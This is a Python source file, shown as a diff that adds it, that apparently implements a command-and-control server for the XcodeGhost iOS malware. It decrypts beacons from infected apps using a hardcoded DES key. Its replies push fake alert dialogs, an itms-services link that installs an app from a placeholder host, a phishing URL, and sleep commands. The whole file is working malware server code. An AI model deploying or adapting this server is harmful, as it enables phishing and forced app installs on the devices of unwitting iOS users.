1+ #!/usr/bin/env python
2+ # -*- coding: utf-8 -*-
3+
4+ import web
5+ from pyDes import *
6+ import binascii
7+ import json
8+ import re
9+
10+
11+ urls = (
12+ '/' , 'Xcode_ghost'
13+ )
14+
15+
16+ def format_hex (alert_res ):
17+ des_decode = des ("stringWi" , ECB , IV = None , pad = None , padmode = PAD_PKCS5 )
18+ str_hex = des_decode .encrypt (alert_res )
19+
20+ alert_hex = '0065000a' + binascii .hexlify (str_hex )
21+ alert_len = hex ((len (alert_hex )+ 8 )/ 2 )[2 :]
22+ tmp = '0' * (8 - len (alert_len )) + alert_len
23+ alert_finally = tmp + alert_hex
24+ res = binascii .a2b_hex (alert_finally )
25+ return res
26+
27+
28+ def alert (): #alert
29+ print "alert()"
30+ alert_res = '{"alertHeader":"titlemessage", \
31+ "alertBody":"bodymessage", \
32+ "appID":"0", \
33+ "cancelTitle":"cancel", \
34+ "confirmTitle":"OK", \
35+ "scheme":"mqqopensdkapiv2://qzapp"}'
36+ encodeAlert = format_hex (alert_res )
37+ return encodeAlert
38+
39+
40+ def download (): #download
41+ print "download"
42+ download_res = '{"configUrl":"itms-services://?action=download-manifest&url=https://www.xxx.com/download.plist", \
43+ "scheme":"mqqopensdkapiv2://qzapp"}'
44+ encodeDownload = format_hex (download_res )
45+ return encodeDownload
46+
47+
48+ def phishing (): #phishing
49+ print "phishing"
50+ phishing_res = '{"configUrl":"http://www.xxx.com", \
51+ "scheme":"mqqopensdkapiv2://qzapp"}'
52+ encodePhishing = format_hex (phishing_res )
53+ return encodePhishing
54+
55+
56+ def suspend (): #sleep
57+ print "sleep"
58+ suspend = '{"sleep":"-36000000"}'
59+ encodeSuspend = format_hex (suspend )
60+ return encodeSuspend
61+
62+
63+ class Xcode_ghost :
64+ def POST (self ):
65+ data = web .data ()
66+ data_hex = binascii .b2a_hex (data )
67+ bodyLen = int (data_hex [0 :8 ],16 )
68+ cmdLen = int (data_hex [8 :12 ],16 )
69+ ver = int (data_hex [12 :16 ],16 )
70+
71+ des_decode = des ("stringWi" , ECB , IV = None , pad = None , padmode = PAD_PKCS5 )
72+ decode = des_decode .decrypt (data )
73+ jsonDecode = '{' + '' .join (re .findall ("{([\s\S]*?)}" ,decode )).strip () + '}'
74+ print "\n \n bodyLen:" ,bodyLen ,"cmdLen:" ,cmdLen ,"ver:" ,ver ,"\n " ,jsonDecode ,"\n "
75+ jsonLoad = json .loads (jsonDecode )
76+ print 'status:' , jsonLoad ["status" ]
77+
78+ if jsonLoad ["status" ] == "launch" :
79+ # response = phishing()
80+ response = download ()
81+ print response
82+ elif jsonLoad ["status" ] == "resignActive" :
83+ response = alert ()
84+ print response
85+ elif jsonLoad ["status" ] == "suspend" :
86+ response = suspend ()
87+ print response
88+
89+ return response
90+
91+
92+ if __name__ == "__main__" :
93+ app = web .application (urls , globals ())
94+ app .run ()
0 commit comments